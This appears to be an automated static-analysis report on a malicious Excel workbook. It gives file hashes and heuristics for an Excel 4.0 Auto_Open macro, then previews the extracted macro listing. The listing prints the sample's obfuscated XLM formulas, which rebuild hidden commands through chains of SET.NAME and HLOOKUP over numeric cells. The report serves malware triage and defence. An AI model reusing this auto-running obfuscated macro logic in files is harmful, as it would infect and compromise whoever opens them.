Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f1cefd18d842901…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:17 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 8b492b03dc9aab9cdb6a35095381c146 SHA-1: d486ef61437372faba006132eafaefc9232c0148 SHA-256: 5f1cefd18d842901933b438fea7086bb56de32d2c5c1e300e4c89b801d1c1b87
180 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • x86 GetPC stub (CALL $+5; POP EBP) high SC_GETPC_CALL
    x86 GetPC stub (CALL $+5; POP EBP)
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'add' is 68% of instructions — a sled or padding/filler run, not program logic).
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6625 bytes
SHA-256: 85bbb3c756954bf17696699011c3b8f37294edb5d8c6335a2bad0fe2f3b77267
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AthdvL
' 0018     25 LABEL : Cell Value, String Constant - AoXaBJYEaR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I188 
' 0018     21 LABEL : Cell Value, String Constant - CCLTlT len=0 
' 0018     20 LABEL : Cell Value, String Constant - dchoX len=0 
' 0018     20 LABEL : Cell Value, String Constant - fgTGc len=0 
' 0018     20 LABEL : Cell Value, String Constant - FVRIh len=0 
' 0018     25 LABEL : Cell Value, String Constant - IOMFTgeimJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - jgNuneI len=0 
' 0018     26 LABEL : Cell Value, String Constant - KmsgweBMOQC len=0 
' 0018     22 LABEL : Cell Value, String Constant - lVixsGA len=0 
' 0018     26 LABEL : Cell Value, String Constant - ndasOFbpFgF len=0 
' 0018     20 LABEL : Cell Value, String Constant - Nrjgx len=0 
' 0018     22 LABEL : Cell Value, String Constant - QHgJxlt len=0 
' 0018     21 LABEL : Cell Value, String Constant - RhBRNg len=0 
' 0018     20 LABEL : Cell Value, String Constant - sUAcA len=0 
' 0018     27 LABEL : Cell Value, String Constant - tFYLAtAJvScl len=0 
' 0018     20 LABEL : Cell Value, String Constant - VgBIZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - wVUgDGEIn len=0 
' 0018     21 LABEL : Cell Value, String Constant - XCCPda len=0 
' 0018     20 LABEL : Cell Value, String Constant - XiBVl len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZQNmuHpRbcr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AthdvL,R59,"",-741.00000000000000000000
'  AthdvL,R60,"",88.00000000000000000000
'  AthdvL,R61,"",-15.00000000000000000000
'  AthdvL,R62,"",111.00000000000000000000
'  AthdvL,R63,"",428.00000000000000000000
'  AthdvL,R64,"",439.00000000000000000000
'  AthdvL,I95,"SET.NAME("KmsgweBMOQC",0+VALUE("0"))",""
'  AthdvL,I99,"SET.NAME("VgBIZ",KmsgweBMOQC)",""
'  AthdvL,I102,"SET.NAME("RhBRNg",KmsgweBMOQC)",""
'  AthdvL,I107,"SET.NAME("sUAcA",COUNTA(lVixsGA))",""
'  AthdvL,I111,"SET.NAME("FVRIh",COUNTA(ZQNmuHpRbcr))",""
'  AthdvL,I113,[],""
'  AthdvL,I115,"SET.NAME("Nrjgx","")",""
'  AthdvL,I119,"VgBIZ",""
'  AthdvL,I122,"SET.NAME("QHgJxlt",HLOOKUP("*",lVixsGA,VgBIZ,FALSE))",""
'  AthdvL,I126,"jgNuneI",""
'  AthdvL,I129,"SET.NAME("XCCPda",KmsgweBMOQC)",""
'  AthdvL,I132,[],""
'  AthdvL,I135,"XCCPda",""
'  AthdvL,I140,"XiBVl",""
'  AthdvL,I142,"tFYLAtAJvScl",""
'  AthdvL,I145,"CCLTlT",""
'  AthdvL,I150,"SET.NAME("dchoX",VALUE(HLOOKUP("*",ZQNmuHpRbcr,CCLTlT,FALSE)))",""
'  AthdvL,I154,"wVUgDGEIn",""
'  AthdvL,I159,"Nrjgx",""
'  AthdvL,I163,"RhBRNg",""
'  AthdvL,I167,NEXT(),""
'  AthdvL,I170,"fgTGc",""
'  AthdvL,I174,[],""
'  AthdvL,I177,"IOMFTgeimJ",""
'  AthdvL,I181,NEXT(),""
'  AthdvL,I186,RETURN(),""
'  AthdvL,I214,"SET.NAME("AoXaBJYEaR",I95)",""
'  AthdvL,I216,"lVixsGA",""
'  AthdvL,I220,"SET.NAME("ZQNmuHpRbcr",R70C12)",""
'  AthdvL,I222,"SET.NAME("IOMFTgeimJ",232)",""
'  AthdvL,I226,"SET.NAME("ndasOFbpFgF",9)",""
'  AthdvL,I231,AoXaBJYEaR(),""
'  AthdvL,I232,HALT(),""

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